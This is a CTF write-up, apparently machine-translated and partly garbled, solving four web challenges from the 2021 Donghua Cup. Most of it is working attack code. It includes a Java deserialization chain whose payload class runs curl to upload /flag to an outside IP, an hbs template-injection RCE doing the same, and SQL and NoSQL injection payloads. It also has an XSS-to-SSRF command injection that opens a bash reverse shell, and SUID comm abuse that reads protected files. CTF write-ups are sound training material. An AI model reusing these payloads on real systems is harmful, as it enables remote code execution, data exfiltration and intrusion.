[2021 Donghua Cup] Web Writeup

EzGadget

Given the source code, open IDEA and see if there is a point of deserialization:

    @ResponseBody
    @RequestMapping({"/readobject"})
    public String unser(@RequestParam(name = "data",required = true) String data, Model model) throws Exception {
        byte[] b = Tools.base64Decode(data);
        InputStream inputStream = new ByteArrayInputStream(b);
        ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
        String name = objectInputStream.readUTF();
        int year = objectInputStream.readInt();
        if (name.equals("gadgets") && year == 2021) {
            objectInputStream.readObject();
        }

        return "welcome bro.";
    }

Tostrimbean here:

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.ezgame.ctf.tools;

import java.io.Serializable;

public class ToStringBean extends ClassLoader implements Serializable {
    private byte[] ClassByte;

    public ToStringBean() {
    }

    public String toString() {
        ToStringBean toStringBean = new ToStringBean();
        Class clazz = toStringBean.defineClass((String)null, this.ClassByte, 0, this.ClassByte.length);
        Object var3 = null;

        try {
            var3 = clazz.newInstance();
        } catch (InstantiationException var5) {
            var5.printStackTrace();
        } catch (IllegalAccessException var6) {
            var6.printStackTrace();
        }

        return "enjoy it.";
    }
}

toString() calls defineClass here, which can dynamically load bytecode, but you have to find a way to call this toString.

When thinking of the BadAttributeValueExpException inverse sequence in CC5, toString is used, so one wave can be constructed.

Malicious class, I'll bring out the flag here:

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Evil extends AbstractTranslet
{
            @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
    public Evil() {
        try {
        String[] command = { "/bin/sh", "-c", "curl http://121.5.169.223:39767/ -F file=@/flag" };
            Runtime.getRuntime().exec(command);
            //Runtime.getRuntime().exec("sh /tmp/feng");
        }
        catch (Exception ex) {
            ex.printStackTrace();
        }
    }

    public static void main(final String[] array) {
    }
}

root@VM-0-6-ubuntu:~/java/evil# cat Evil.class|base64
yv66vgAAADQALwoACwAcBwAdCAAeCAAfCAAgCgAhACIKACEAIwcAJAoACAAlBwAmBwAnAQAJdHJh
bnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tM
Y29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25I
YW5kbGVyOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHACgBAKYoTGNv
bS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2Fw
YWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hl
L3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAGPGluaXQ+
AQADKClWAQANU3RhY2tNYXBUYWJsZQcAJgcAJAEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5n
OylWAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQwAEwAUAQAQamF2YS9sYW5nL1N0cmluZwEABy9i
aW4vc2gBAAItYwEAL2N1cmwgaHR0cDovLzEyMS41LjE2OS4yMjM6Mzk3NjcvIC1GIGZpbGU9QC9m
bGFnBwApDAAqACsMACwALQEAE2phdmEvbGFuZy9FeGNlcHRpb24MAC4AFAEABEV2aWwBAEBjb20v
c3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5z
bGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhj
ZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1
bnRpbWU7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsB
AA9wcmludFN0YWNrVHJhY2UAIQAKAAsAAAAAAAQAAQAMAA0AAgAOAAAAGQAAAAMAAAABsQAAAAEA
DwAAAAYAAQAAAAwAEAAAAAQAAQARAAEADAASAAIADgAAABkAAAAEAAAAAbEAAAABAA8AAAAGAAEA
AAARABAAAAAEAAEAEQABABMAFAABAA4AAAB3AAQAAgAAACkqtwABBr0AAlkDEgNTWQQSBFNZBRIF
U0y4AAYrtgAHV6cACEwrtgAJsQABAAQAIAAjAAgAAgAPAAAAHgAHAAAAEgAEABQAGAAVACAAGgAj
ABgAJAAZACgAGwAVAAAAEAAC/wAjAAEHABYAAQcAFwQACQAYABkAAQAOAAAAGQAAAAEAAAABsQAA
AAEADwAAAAYAAQAAAB4AAQAaAAAAAgAb

Then construct a wave POC:

import com.ezgame.ctf.tools.ToStringBean;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;

public class Test {
    public static void main(String[] args) throws Exception{
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Class clazz = Class.forName("javax.management.BadAttributeValueExpException");
        Field field = clazz.getDeclaredField("val");
        field.setAccessible(true);
        ToStringBean toStringBean = new ToStringBean();
        field.set(badAttributeValueExpException,toStringBean);
        byte[] classByte = Base64.getDecoder().decode("yv66vgAAADQALwoACwAcBwAdCAAeCAAfCAAgCgAhACIKACEAIwcAJAoACAAlBwAmBwAnAQAJdHJh" +
                "bnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tM" +
                "Y29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25I" +
                "YW5kbGVyOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHACgBAKYoTGNv" +
                "bS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2Fw" +
                "YWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hl" +
                "L3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAGPGluaXQ+" +
                "AQADKClWAQANU3RhY2tNYXBUYWJsZQcAJgcAJAEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5n" +
                "OylWAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQwAEwAUAQAQamF2YS9sYW5nL1N0cmluZwEABy9i" +
                "aW4vc2gBAAItYwEAL2N1cmwgaHR0cDovLzEyMS41LjE2OS4yMjM6Mzk3NjcvIC1GIGZpbGU9QC9m" +
                "bGFnBwApDAAqACsMACwALQEAE2phdmEvbGFuZy9FeGNlcHRpb24MAC4AFAEABEV2aWwBAEBjb20v" +
                "c3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5z" +
                "bGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhj" +
                "ZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1" +
                "bnRpbWU7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsB" +
                "AA9wcmludFN0YWNrVHJhY2UAIQAKAAsAAAAAAAQAAQAMAA0AAgAOAAAAGQAAAAMAAAABsQAAAAEA" +
                "DwAAAAYAAQAAAAwAEAAAAAQAAQARAAEADAASAAIADgAAABkAAAAEAAAAAbEAAAABAA8AAAAGAAEA" +
                "AAARABAAAAAEAAEAEQABABMAFAABAA4AAAB3AAQAAgAAACkqtwABBr0AAlkDEgNTWQQSBFNZBRIF" +
                "U0y4AAYrtgAHV6cACEwrtgAJsQABAAQAIAAjAAgAAgAPAAAAHgAHAAAAEgAEABQAGAAVACAAGgAj" +
                "ABgAJAAZACgAGwAVAAAAEAAC/wAjAAEHABYAAQcAFwQACQAYABkAAQAOAAAAGQAAAAEAAAABsQAA" +
                "AAEADwAAAAYAAQAAAB4AAQAaAAAAAgAb");
        clazz = Class.forName("com.ezgame.ctf.tools.ToStringBean");
        field = clazz.getDeclaredField("ClassByte");
        field.setAccessible(true);
        field.set(toStringBean,classByte);
        
        ByteArrayOutputStream bout = new ByteArrayOutputStream();
        ObjectOutputStream oout = new ObjectOutputStream(bout);
        oout.writeUTF("gadgets");
        oout.writeInt(2021);
        oout.writeObject(badAttributeValueExpException);
        byte[] bytes = bout.toByteArray();
        byte[] encode = Base64.getEncoder().encode(bytes);
        System.out.println(new String(encode));
    }

}

Hit:

Get flag:

apacheprOxy

I got through after a meal.

Reference article: https://www.leavesongs.com/PENETRATION/apache-mod-proxy-ssrf-cve-2021-40438.html

The weblogic of SSRF's intranet is the garbage of environmental thieves. They can't get through life and death. They can't get through it more times:

http://47.104.181.226:7410/?unix:                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       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flag or curl:

curl http://121.5.169.223:39656/ -F file=@/flag

In addition, the senior students and I have nc received other people's payload s. Maybe I was lucky and took a blood:

eznode

One blood.

The first is a login:

router.post('/', async function (req, res, next) {
	let username = req.body.username;
	let password = req.body.password;
	if (check(username) && check(password)) {
		let sql = `select * from users where username='${username}' and password = '${password}'`;
		const result = await select(sql)
			.then(close())
			.catch(err => { console.log(err); });
		// console.log(result);
		if(result){
			if (result.username == username && password == result.password) {
				res.cookie('token', result, { signed: true });
				res.send("yes");
			} else {
				res.send("username or password error")
			}
		} else{
			res.send('no')
		}
	} else {
		res.send("Fak OFF HACKER");
	}
});

``check ` this waf is easy to wrap around. Take the array.

Then there is this:

if (result.username == username && password == result.password) {

The fifth space has passed the test. Take the payload of the fifth space directly and change it:

POST / HTTP/1.1
Host: eci-2zeggoejwozozko2g4xu.cloudeci1.ichunqiu.com:8888
Content-Length: 389
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Origin: http://eci-2zeggoejwozozko2g4xu.cloudeci1.ichunqiu.com:8888
Referer: http://eci-2zeggoejwozozko2g4xu.cloudeci1.ichunqiu.com:8888/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: __jsluid_h=0ac3650127bce0646f3b72bc382255da
Connection: close

username[]=admin&password[]='%2F**%2Funion%2F**%2FSELECT%2F**%2F'admin'%2CREPLACE(REPLACE('%22%2F**%2Funion%2F**%2FSELECT%2F**%2F%22admin%22%2CREPLACE(REPLACE(%22%3F%22%2CCHAR(34)%2CCHAR(39))%2CCHAR(63)%2C%22%3F%22)%23'%2CCHAR(34)%2CCHAR(39))%2CCHAR(63)%2C'%22%2F**%2Funion%2F**%2FSELECT%2F**%2F%22admin%22%2CREPLACE(REPLACE(%22%3F%22%2CCHAR(34)%2CCHAR(39))%2CCHAR(63)%2C%22%3F%22)%23')%23

After successful login, there are 2 competent:

router.post('/admin', checkLogin, function (req, res, next) {
	var name = req.body.name ? req.body.name : "admin";
	res.render('admin', name)
});

// Not online yet... checkLogin
router.post('/upload', checkLogin, upload.any(), function (req, res, next) {

	fs.readFile(req.files[0].path, function (err, data) {  
			if (err) {
				console.log(err);
			} else {
				response = {
					message: 'File uploaded successfully',
					filename: req.files[0].path
				};
			res.end(JSON.stringify(response));
		}
	});
})

File upload is handled as follows:

const storage = multer.diskStorage({
	destination: function (req, file, cb) {
	  cb(null, './upload_tmp')
	},
	filename: function (req, file, cb) {
	  cb(null,  Date.now()+'.jpg')
	}
  })

It's no use. (I was wrong)

Take a look at package.json. Check the vulnerabilities one by one:

{
  "name": "app",
  "version": "0.0.0",
  "private": true,
  "scripts": {
    "start": "node ./bin/www",
    "dev": "nodemon index.js -e js"
  },
  "dependencies": {
    "cookie-parser": "~1.4.4",
    "crypto": "^1.0.1",
    "debug": "~2.6.9",
    "express": "~4.16.1",
    "hbs": "^4.0.1",
    "http-errors": "~1.6.3",
    "morgan": "~1.9.1",
    "multer": "^1.4.3",
    "mysql": "^2.18.1",
    "path": "^0.12.7",
    "sequelize": "^6.7.0"
  }
}

When checking the template rendering of hbs, a CVE-2021-32822 is found:

https://securitylab.github.com/advisories/GHSL-2021-020-pillarjs-hbs/

It was supposed to be an arbitrary file read:

When reading / flag, it is found that the read file must have a suffix, otherwise. hbs will be added automatically:

Then I thought that this should be to analyze the template file. Using the upload function, we can realize the template rendering rce.

Check the template rendering rce of hbs:

https://xz.aliyun.com/t/4695

Write a POC with curl:

{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return global.process.mainModule.constructor._load('child_process').exec('curl http://121.5.169.223:39767/ -F file=@/flag')"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

Pass it on:

Then parse the template file:

Bring out flag:

OldLibrary

Go together. The first is the function of login and registration. There are two restrictions on the utilization of subsequent functions, one is localhost and the other is admin:

func AdminCheckMiddleWare() gin.HandlerFunc {    // You can't be administrator
    return func(c *gin.Context) {
        session := sessions.Default(c)

        if session.Get("uname") == nil {
            c.Header("Content-Type", "text/html; charset=utf-8")
            c.String(200, "<script>alert('You have not logged in yet');window.location.href='/auth'</script>")
            return
        }

        if session.Get("uname").(string) != os.Getenv("ADMIN_USER") {
            c.Header("Content-Type", "text/html; charset=utf-8")
            c.String(200, "<script>alert('You are not admin, and you can not be admin either!');window.location.href='/auth'</script>")
            return
        }

        c.Next()
    }
}
func IPCheckMiddleWare() gin.HandlerFunc {
    return func(c *gin.Context) {
        if c.Request.RemoteAddr[:9] != "127.0.0.1" && c.Request.RemoteAddr[:9] != "localhost" {
            c.JSON(403, gin.H{"msg": "I'm sorry, your IP is forbidden"})
            return
        }

        c.Next()
    }
}

admin here tells us that the user name is administrator, but the password is unknown.

After reviewing the code, it is found that SQL injection exists in the login:

    err = db_table.Find(bson.M{"$where":"function() {if(this.username == '"+user.Username+"' && this.password == '"+user.Password+"') {return true;}}"}).One(&result)

Inside is the judgment of js code. You can log in successfully with the administrator user name. It's easy. Just accept the js code:

username=administrator&password='||this.username=='administrator

A function restricted by localhost is found. There is an rce:

func DeleteController(c *gin.Context) {    // The function is temporarily inaccessible

    var filename Filename
    if err := c.ShouldBindJSON(&filename); err != nil {
        c.JSON(500, gin.H{"msg": err})
        return
    }
    
    cmd := exec.Command("/bin/bash", "-c", "rm ./upload/pdf/" + filename.Filename)
    if err := cmd.Run(); err != nil {
        fmt.Println(err)
        return
    }

So we have to ssrf first.

/The function of submit is to give some parameters, make them into html, and then render them into pdf. It's easy to think of the secrets of this year's Xiangyun cup_ of_ Admin, bring pdf to ssrf.

Just write js to ssrf implement rce:

POST /submit HTTP/1.1
Host: eci-2ze5gq1gtiew9prd5bn1.cloudeci1.ichunqiu.com:8888
Content-Length: 799
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://eci-2ze5gq1gtiew9prd5bn1.cloudeci1.ichunqiu.com:8888
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryGaez0qbXRXdUlHaf
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://eci-2ze5gq1gtiew9prd5bn1.cloudeci1.ichunqiu.com:8888/submit
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: __jsluid_h=7f4d85f214af75c12d03309d6885e159; mysession=MTYzNTY2NzU3N3xOd3dBTkUxU1RGRTJURUpNUzBwU1RUSXpSRlpCV1VwSlZrSmFOVlJNUTBSUFZsQkVTVFEzVkVoSVJESkNWbFZWTnpOR1FVRk9SMUU9fIiPFzlMoaVOs65bjmTmFCpCrHIsD8_sgSWXQB5M8XQp
Connection: close

------WebKitFormBoundaryGaez0qbXRXdUlHaf
Content-Disposition: form-data; name="title"

1234
------WebKitFormBoundaryGaez0qbXRXdUlHaf
Content-Disposition: form-data; name="author"

456
------WebKitFormBoundaryGaez0qbXRXdUlHaf
Content-Disposition: form-data; name="description"

1</td><script>
var httpRequest = new XMLHttpRequest();
httpRequest.open('POST', 'http://127.0.0.1:8888/delete', true);
httpRequest.setRequestHeader("Content-type","application/json");
var obj = { "filename":"1234.pdf;bash -i >& /dev/tcp/121.5.169.223/39767 0>&1" };
httpRequest.send(JSON.stringify(obj));
</script><td>1
------WebKitFormBoundaryGaez0qbXRXdUlHaf
Content-Disposition: form-data; name="covers"; filename="1.txt"
Content-Type: text/plain

321
------WebKitFormBoundaryGaez0qbXRXdUlHaf--

The shell bounces over, and then looks at the read flag. You don't have permission. Try suid to raise the right. Take a look:

ctfer@engine-1:/$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/usr/lib/xorg/Xorg.wrap
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/sbin/pppd
/usr/bin/chsh
/usr/bin/mount
/usr/bin/chfn
/usr/bin/comm
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/su
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/pkexec
ctfer@engine-1:/$

If comm is found, directly use comm to read / flaggisshere:

ctfer@engine-1:/$ comm /flagggisshere /etc/passwd
comm /flagggisshere /etc/passwd
flag{3c515cc6-3ce2-4c3d-9dbc-001ec5f8f13a}
      root:x:0:0:root:/root:/bin/bash
comm: file 2 is not in sorted order
      daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
      bin:x:2:2:bin:/bin:/usr/sbin/nologin
      sys:x:3:3:sys:/dev:/usr/sbin/nologin
      sync:x:4:65534:sync:/bin:/bin/sync
      games:x:5:60:games:/usr/games:/usr/sbin/nologin
      man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
      lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
      mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
      news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
      uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
      proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
      www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
      backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
      list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
      irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
      gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
      nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
      _apt:x:100:65534::/nonexistent:/usr/sbin/nologin
      systemd-timesync:x:101:101:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
      systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
      systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
      messagebus:x:104:105::/nonexistent:/usr/sbin/nologin
      usbmux:x:105:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
      rtkit:x:106:110:RealtimeKit,,,:/proc:/usr/sbin/nologin
      dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
      cups-pk-helper:x:108:112:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
      avahi:x:109:113:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
      saned:x:110:115::/var/lib/saned:/usr/sbin/nologin
      colord:x:111:116:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
      geoclue:x:112:117::/var/lib/geoclue:/usr/sbin/nologin
      pulse:x:113:118:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
      gdm:x:114:120:Gnome Display Manager:/var/lib/gdm3:/bin/false
      mongodb:x:115:121::/var/lib/mongodb:/usr/sbin/nologin
      ctfer:x:1000:1000::/home/ctfer:/bin/bash
ctfer@engine-1:/$

Tags: Java Front-end

Posted on Sun, 31 Oct 2021 16:26:08 -0400 by LuAn